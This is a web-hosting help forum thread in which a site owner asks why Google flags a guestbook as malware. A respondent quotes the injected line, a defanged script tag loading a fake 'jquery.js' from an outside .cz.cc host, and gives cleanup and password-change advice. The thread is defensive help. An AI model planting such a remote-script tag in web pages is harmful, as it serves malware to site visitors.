Google reporting guestbook hacked with Malware

[puniksem]

Script URL: http://www.ctek-solutions.co.uk/index.p ... Itemid=144
Version of script: 1.7
Hosting company: Freeola

I have recently received a message while surfing my site in Google Chrome and I keep receiving a warning message about the guestbook containing malware, I have of course completely removed the script and copied over a fresh install, replacing everything except the message file. I even looked through the message file to see if anything may have been injected there, but nothing was found.

I've tried to search this and other forums for similar reports, but have to-date found nothing even close.

Can anyone shed some light on this peculiar issue. I need to sort something, the guestbook is used by many visitors to leave very positive feedback and testimonials.

I would like to thank you in advance for any help offered...

[Klemen]

You have this code injected at the bottom of your page (remove _XXXXX_ , added for security):

Code: Select all

<script src="http://fairbankhouston_XXXXX_.cz.cc/jquery.js"></script>

Check all your files for such code, update all your scripts (including Joomla), change your FTP passwords and scan your PC for viruses.

When you change FTP passwords check logs for any failed FTP login attempts - I've seen a lot of attacks using stolen FTP passwords in the last few months.

You might want to register your website with Google Webmaster Tools to get more info about where malware has been detected on your site.